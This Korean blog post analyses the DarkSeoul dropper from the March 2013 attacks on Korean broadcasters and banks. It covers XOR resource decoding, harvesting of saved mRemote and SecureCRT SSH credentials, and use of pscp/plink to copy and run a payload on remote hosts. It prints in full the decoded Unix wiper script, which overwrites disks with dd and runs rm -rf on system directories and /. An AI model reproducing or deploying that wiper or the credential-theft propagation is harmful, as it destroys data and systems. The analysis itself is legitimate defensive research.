본문 바로가기

[REVERSING]/▶악성코드분석

[악성코드]3월20일 방송사 및 금융권 악성코드 Dropper 분석

※ 주의사항

아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.

악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.

해당 문서의 저작권은 해당 프로젝트 참여 저자들에게 모두 있습니다. 외부에 공개시 법적 조치가 가해질 수 있습니다. 


개요

악성코드 개요

3월20일 대란으로 유명한 darkseoul 샘플 입니다.

MBR을 파괴하고 나서 물리드라이버(하드디스크)까지 파괴를 시키는 악성코드입니다. 


생성파일 정보 요약

 

 

감영증상 요약

MBR과 HDD를 파괴하고 강제로 리부팅하여 시스템을 파괴합니다.

VirusTotal 점검 내역

https://www.virustotal.com/ko/file/1fbecec5da37b9a6e6dd63add4988fe7e2c4249aada883f58bcb794020455b77/analysis/



 

상세 분석 내용

 

[ DarkSeoulDropper.exe]

 

 생성파일 정보요약을 보면 upx로 패킹되어 있기때문에 unpacking 해줍니다.

 

 

[그림.1]

 

메인함수 내부로 들어가면 LoadLibraryA 함수로 kernel32.dll 라이브러리를 로드하여 Base Adress를 얻고 사용 될 함수의 포인터를 가저옵니다.

각각 FindResourceA, LoadResource, LockResource, SizeofResource입니다.

 

[그림.2]

 

그리고 루틴을 실행하다 보면 그림.2와 같이 alg.exe, conime.exe, ~pr1.tmp, AgentBase.exe의 실행파일 관련 함수들이 있습니다.

각각 함수를 분석해 봐야 알겠지만 호출되는 함수의 주소가 CALL DarkSeou.00402200으로 보아 동일한 기능의 함수를 파일명만 변경하여 호출되는 것을 볼 수 있습니다.

 

[그림.3]

 

alg.exe 관련함수 호출주소 004024CD를 Step in 하여 내부로 들어갑니다.

그러면 0040226C에서 메모리버퍼를 빈공간으로 초기화 시키고 그 공간에 GetTepmPath 함수로 temp 디렉토리 경로를 저장합니다.

[그림.4]

 

그리고 나서 004022C3 함수를 호출하고 CreateFile 함수로 alg.exe 파일을 생성합니다.

 

 

[그림.5]

 

그리고 SizeofResource함수로 Dropper의 rsrc섹션의 size를구합니다.

 

 

[그림.6]

 

그리고 RSRC섹션의 004195E8에서 주소의 첫번째 바이트 95를 고정값으로 하여 그다음주소 004195E9의 D8값과 XOR하여 실행파일의 바이너리로 복구합니다.

복구결과는 그림.6의 Ollydbg의 중간부분의 MZ로 시작되는것을 확인할 수 있습니다.

정리하면 리소스섹션의 첫바이트 95를 고정으로 그이후의 데이터값과 서로 XOR하여 SizeofResource로 얻은 리소스섹션의 크기만큼 반복하게 됩니다.

 

[그림.7]

 

그리고 alg.exe 파일에 그림.6(004195E9 Data)에서 XOR연산한 데이터를 WriteFile함수로 Write합니다.

파일을 Write하기전에 CriticalSection 동기화 기법으로 중복쓰기를 방지합니다.

 

[그림.8]

 

함수를 빠저나오면 004195E9에다 WriteFile을 한 데이터의 사이즈(00028000)만큼 더합니다.

그러면 004415E9값이 됩니다. 

 

[그림.9]

 

003E4018주소에 1000만큼 Heap을 생성합니다.

그리고 .data section에 40160A8 주소값에 생성된 Heap의주소를 저장합니다. 

 

 

 [그림.10]

 

그림.8에서 004415E9값이 세팅이 됬었는데 이값에 1을 더해서 004415EA로 세팅을 합니다.

그림.6에서 고정값 95와 XOR연산하여 디코딩 했었습니다.

마찬가지로 004415E8에 있는 데이터 값들도 각 바이트의 값을 95와 XOR 연산을하면 그림.10의 Ollydbg의 헥사코드창의 값들인것을 확인할 수 있습니다.

변환된 값을 PEview로 확인 하지 못하기 때문에 설명을 드렸습니다.

 

[그림.11]

그림.10을 보면 .rsrc 의 [BIN 0081 0412]의 004415EA의 주소의 데이터부터 끝까지 그림.9에서 생성한 Heap주소에 복사를 하게됩니다.

즉 003E4019~003E4C18까지 복사가 진행됩니다.

정리하면 [BIN 0081 0412]는 알수없는 데이터를 95의 고정값과 XOR하여 alg.exe의 실행 바이너리로 복화하고 그 뒷부분 004415EA값부터 끝까지 생성된 Heap의 공간에 복사가 진행됩니다.

 

[그림.12]

 

그리고 각각 Heap주소 003E4019 + BFF = 003E4C18, ,rsrc section의 [BIN 0091 0412]주소 004415EA + BFF = 004421E9 주소로 세팅합니다.

 

[그림.13]

 

그리고 WriteFile함수를 호출하기 전 각 파라미터의 값을들 세팅하기 위해 연산을 진행합니다.

흠..연산하는거는 별거아닌데 괜히 복잡하게 만들어놔서 시간이 조금 걸렸습니다.

함수의 파라미터값을 다구하면 WriteFile을 호출하게 되는데 그림.10을 보면 .rsrc 의 [BIN 0081 0412] 섹션의 뒷부분의 데이터를 Heap에다 복사했었는데요.

여기서는 복사된 데이터를 단순히 Write하여 파일에 쓰게됩니다.

 

 

[그림.14]

 

함수 호출전과 호출 후 파일 크기를 비교해봤습니다.

뭐 당연한 결과이지만 정확한것을 원하니까요..

 

 

[그림.15]

함수 호출 전과 호출 후의 PE바이너리 상태입니다.

단순히 변경되기전 파일뒤에다 이어서 붙여버립니다.

이와같이 .rsrc section의 [BIN 0081 0412],[BIN 0082 0412],[BIN 0083 0412],[BIN 0084 0412]의 리소스에서 위의과정을 통해 파일을 생성합니다.

 

[그림.16]

 

4개의 파일을 생성한 결과입니다.

 

[그림.17]

 

생성된 4개의 파일중 3개는 실행파일 이지만 ~pr1.tmp파일은 실행파일이아닙니다.

메모장으로 열어본결과 바이너로 저장된것 같습니다.

그래서 파이썬으로 간단히 코드를짜서 메모장으로 출력해보았습니다.

 

#!/bin/bash

WHICH=`which which`
UNAME=`$WHICH uname`
SLEEP=`$WHICH sleep`
DATE=`$WHICH date`
CAT=`$WHICH cat`
RM=`$WHICH rm`
DD=`$WHICH dd`
KILL=`$WHICH kill`

dd_for_hp()
{
    DISK=`strings -v /etc/lvmtab|grep -v vg`
    
    for DISK_PART in $DISK
    do
 $DD if=/dev/zero of=$DISK_PART bs=8192000 &
    done
}

dd_for_aix()
{
    DISK=`lsp | awk '{print $1}'`

    for DISK_PART in $DISK
    do
 $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
    done
}

dd_for_sun()
{
    rm -rf /kernel/ &
    rm -rf /usr/adm/ &
    rm -rf /etc/ &
    rm -rf /home/ &
    rm -rf / &
    PRTTOC=`$WHICH prtvtoc`
    DISK=`ls /dev/dsk | grep s2`

    for DISK_PART in $DISK
    do
        mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`

        if [ `expr "$mnt_info" : '.*'` -gt 0 ]
     then
  $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
     fi
    done
}

dd_for_linux()
{
    rm -rf /kernel/ &
    rm -rf /usr/ &
    rm -rf /etc/ &
    rm -rf /home/ &
}

SYSTYPE=`$UNAME -s`
if [ $SYSTYPE = "SunOS" ]
then
    dd_for_sun
elif [ $SYSTYPE = "AIX" ]
then
    dd_for_aix
elif [ $SYSTYPE = "HP-UX" ]
then
    dd_for_hp
elif [ $SYSTYPE = "Linux" ]
then
    dd_for_linux
else
    exit
fi

출력한 결과는 위와같습니다.

쉘스크립트로 작성되어있으며 UNIX계열의 시스템을 파괴하기 위한 코드입니다.

리눅스와 선 시스템의 로직을보면 rm -rf로 시스템 디렉토리들을 삭제합니다.

 

 

[그림.18]

 

0040238B함수에서 12F8A0 ~ 12F9A0까지 0으로초기화 시키는 작업을 진행합니다.

함수를 빠저나와 GetTempPathA함수를 호출하여 임시저장 디렉토리의 경로를 가저옵니다.

 

 

[그림.19]

 

그리고 004023B8 ~ 004023D6 까지는 헥사덤프의 AgentBase.exe(ApcCmdRun.exe)의 값을 추출합니다.

그리고 PathFileExistsA함수로 C:\windows\temp\~v3.log 파일이 존재하는지 체크합니다. 바로 이부분이 V3백신이 존재하는지 체크하는 로직입니다.

만약 백신이 없을경우 AgentBase.exe(ApcCmdRun.exe)실행하고 백신이 있을경우는 실행하지 않습니다.

체크를 하고난 뒤 추출했던 AgentBase.exe(ApcCmdRun.exe)값과 C:\DOCUME~1\dklee\LOCALS~1\Temp\ 값을 결합합니다.

그렇게 되면 C:\DOCUME~1\dklee\LOCALS~1\Temp\AgentBase.exe 의경로가 생성이 됩니다.

이어서 WinExec함수의 SW_HIDE(윈도우를 숨긴다.)옵션과 생성된 경로를 인자로 하여 WinExec를 호출하게됩니다.

그러면 AgentBase.exe(ApcCmdRun.exe) 가 숨김모드 상태로 실행이 됩니다.

 

 

[그림.20]

 

00402575주소에서 GetVaersion 함수를 호출하여 DWORD값 0A280105 를 리턴하게 됩니다.

이함수의 값을 0A28.01.05 로 보면되는데 다시 이 값을 10진수로 변환하게되면 2600.5.1 이됩니다.

즉 해당 시스템의 버전이 5.1.2600이라는 것을 알 수 있습니다.

 

[그림.21]

 

CMD 모드에서 version을 확인해보면 XP Version 5.1.2600인 것을 확인 할 수 있습니다.

GetVersion 함수 호출 이후 GetWindowDirectory함수를 호출하여 해당 시스템의 windows 디렉토리값을 반환받고 스택에 저장합니다.

그리고 GetVaersion 함수를 호출하여 DWORD값 0A280105 의 버전값이 5(xp)인지 체크를 합니다.

그리고 체크해서 만약 값이 5이면 0040259A값 ":\Documents and settings\*.*"을 스택에 저장하고 5(XP)가아닌 경우 ":\Users\*.*" 값을 스택에 저장합니다.

현재 분석중인 가상 시스템이 Win_xp 이며 버전값이 5이고 제가 사용하는 OS의 버전은 Win7이고 버전값이 6이였습니다.

이것으로보아 xp계열 시스템인경우 ":\Documents and settings\*.*" 값으로 검색을하고 xp가아닌 다른버전의 시스템에서는 ":\Users\*.*"값으로 검색을 하도록

구현 된 것을 알 수 있습니다.

 

[그림.22]

 

그림.20에서 GetWindowsDirectory 함수로 C:\WINDOWS 디렉토리를 구해서 스택에 저장했습니다.

그리고 ":\Documents and settings\*.*" 이 값을 스택에 저장했었는데 ":\Documents and settings\*.*" 이 값중 :\Documents and settings만 분리하여

C:\WINDOWS를 저장했던 버퍼를 "C:\Documents and settings" 값으로 세팅합니다.

 

[그림.23]

 

그리고 각각 C:\Documents and Setting\All Users, C:\Documents and Setting\Default, C:\Documents and Setting\Public 디렉토리를 찾습니다.

 

[그림.24]

 

디렉토리를 찾으면 하위 디렉토리의 "Application Data\VanDvke\Config\Session", "AppData\Local\Felix_Deimel\mRemote\confCons.xml" 파일을 찾습니다.

 

[그림.25]

 

파일을 찾으면 그 파일을 읽기 위하여 CreateFileA함수를 읽기전용 상태로 호출하여 파일스트림을 오픈합니다.

  

[그림.26]

 

그리고 003E4018주소에 1000(4096)크기의 Heap을 생성하고 생성한 힙주소에다 ReadFile함수로 confCons.xml파일의 내용을 읽어 들입니다.

 

 

[그림.27]

 

읽어온 파일의 문자열이 있는지 체크하고 있을경우 0012CC61주소에 복사합니다.

 

 

[그림.28]

 

그리고 버퍼를 초기화 한 후 XML파일에서 Hostname="hosttest", Descr="desctest", Panel="paneltest", Port="4432test", Password="pass"

문자열의 값 부분을 파싱해서 초기화한 버퍼공간의 특정 번지에 저장을합니다.

 

[그림.29]

그리고 4039B0에 있는 로직을 CreateThread로 실행한다.

 

 [그림.30]

~pr1.tmp 파일을 읽기 전용(GENERIC_READ)상태로 파일을 오픈합니다.

[그림.31]

 

그리고 3E5030주소에 힙을 생성하고 생성된 힙공간에 ReadFile함수로 파일의 내용을 읽어 들입니다.

 

 

[그림.32]

이전에 ~pr1.tmp_ 파일을 추가로 생성했었는데 그 파일에다 ~pr1.tmp파일의 내용을 WriteFile 함수를 호출하여 씁니다.

동일한 파일을 두개 생성합니다.

 

 

[그림.33]

 

백업파일로 두개생성된것으로 생각했으나 백업이 아니였다.

분석을 진행하다 보니 MoveFileEx함수를 호출을 하는데 이 함수의 역할은 ExistingName의 위치의 파일을 NewName의 경로에 파일로 변경(이동)하게 되는데 성공하게되면

ExistingName의 파일은 삭제됩니다.

 

[그림.34]

 

주소 0x407631 ~ 0x4080E5까지 루프를 돌면서 conime.exe 명령어를 완성합니다.

"%s -batch -P %s -l -pw %s %s %s:/tmp/cups" 문자열에 %s부분을 그림.28부분에서 파싱된 각 값들을 저장해서 명령어를 완성시킵니다.

완성된 명령어는 다음과 같습니다.

C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch -P 4432test -lroot -pw ???CJ꼻+@N?C:\DOCUME~1\dklee\LOCALS~1\Temp\~pr1.tmp hosttest:/tmp/cups

 

 

[그림.35]

 

그리고 마찬가지로 0x00403B6A함수에서도 C:\DOCUME~1\dklee\LOCALS~1\Temp\alg.exe -batch -P 4432test -l root -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups 와같이 문자열을 세팅하여 0x00B5FBA8버퍼에 저장한다.

 

 

[그림.36]

쓰기핸들 0x00B5ED4C 읽기핸들 0xB5ED48으로 파이프를 생성합니다.

 

[그림.37]

 

그리고 GetSystemDirectory함수로 현재 시스템의 시스템디렉토리 경로를 가저오고 0x004038D3주소에서 함수호출로 시스템디렉토리의 경로와 전에 생성했던 conime.exe관련 명령어들을 결합하여 명령어로 재생성 합니다.

생성된 명령어는 다음과 같습니다.

C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch-P 4432test -lroot -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups

여기서 cmd.exe /c 옵션은 명령어를 한번실행하고 완료되면 자동으로 종료되도록 하는 옵션입니다. 이런 옵션을 주는 걸로봐서 comine.exe ... 명령어를 사용자 몰래 실행하고 종료하려는 의도인것 같습니다.

 

 

 [그림.38]

그리고 CreateProcess로 자식프로세스를 생성하는데 CommandLine인자를 "C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch-P 4432test -lroot -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups " 명령어로

전달합니다.

즉 위와같은 명령어를 인자로 자식프로세스가 생성되면서 cmd.exe를 통해 comine.exe를 실행하여 공격자에게 특정명령을 전송하는 것으로 추측할 수 있습니다.

 

[그림.39]

CreateProcess를 실행했을때 ProcessExplorer로 확인해봤습니다.

예상대로 자식프로세스가 생성되고 comine.exe를 실행 했습니다.

 

[그림.40]

 

그리고 CloseHandle함수로 그림.36에서 생성했던 파이프의 쓰기핸들 0x00B5ED4C 읽기핸들 0xB5ED48 중 쓰기핸들을 닫습니다.

 

[그림.41]

 

그리고 파이프의 읽기 핸들로 자식프로세스의 커맨드 실행결과를 ReadFile함수로 읽어 들이고 TerminateProcess, CloseHandle 함수를 호출하여 생성한 자식프로세스는 종료합니다.

버퍼에 저장된 내용은 다음과 같습니다.

 

PuTTY Secure Copy client..알 수없는 빌드, Mar 13 2006 23:32:43..Usage: pscp [options] [user@]host:source target..   
   pscp [options] source [source...] [user@]host:target..      pscp [options] -ls [user@]host:filespec..Options:.. 
-V     print version information and exit..  -pgpfp    print PGP key fingerprintsand exit..  -p      preserve file
attributes..  -q        quiet, don't show statistics..  -r      copy directories recursively..  -vshow verbose
messages..  -load sessname  Load settings from saved session..  -Pport   connect to specified port..  -l user  
connect with specified username.. -pw passw login with specifiedpassword..  -1 -2     force useof particular SSH
protocol version..  -4 -6force use of IPv4 or IPv6..  -C       enable compression..  -ikey    private key file for
authentication..  -noagent  disableuse of Pageant..  -agent    enable use of Pageant..  -batch    disable all
interactive prompts..  -unsafe   allow server-side wildcards (DANGEROUS)..  -sftpC:\WINDOWS\system32\cmd.exe /c
C:\DOCUMEdklee\LOCALS~1\Temp\conime.exe -batch -P 4432test -lroot -pw ??

 

 

[그림.42]

 

ReadFile로 읽어드린 메세지 내용을 보면 정상적인 명령어가 아닌경우 발생될때 나타나는 메세지로 확인했습니다.

해당 분석시스템에 Confcons.xml파일이 없기 때문에 임의로 제가 호스트정보/패스워드/포트번호등 값들을 만들어 넣어 진행했기 때문에 나타나는 결과입니다.

정상적인 Confcons.xml파일이 있다면 로직의 흐름상 "100%" 의 문자열과 읽어들인 버퍼의 값들과 비교하여 다음 루틴으로 진행합니다.

 

 

[그림.43]

 

그림.36~그림.42까지 역시 같은방법으로 0x00403B93함수를 호출하고 결과는 예상대로 "Unable to open connection:..Host does not exist" 와같이 받습니다.

 

여기까지가 ConfCons.xml 파일을 읽어 들여 conime.exe를 실행시키는 부분이다

 

[그림.44]

 

여기서부터는 C:\Documents and Settings\NetworkService\Application Data\VanDyke\Config\Sessions\*.ini 파일을 찾고 그림.25번부터 43까지의 과정을 진행합니다.

상세 과정은 동일하므로 생략하겠습니다.

 

 

[그림.45]

 

C:\Documents and Settings\NetworkService\Application Data\VanDyke\Config\Sessions 디렉토리 내에서 ini파일을 찾고 정보를 추출합니다.

그리고 동일한 방법으로 conime.exe와 alg.exe에 명령어를 생성하여 실행합니다.

그리고 ExitProcess함수를 호출하여 종료합니다.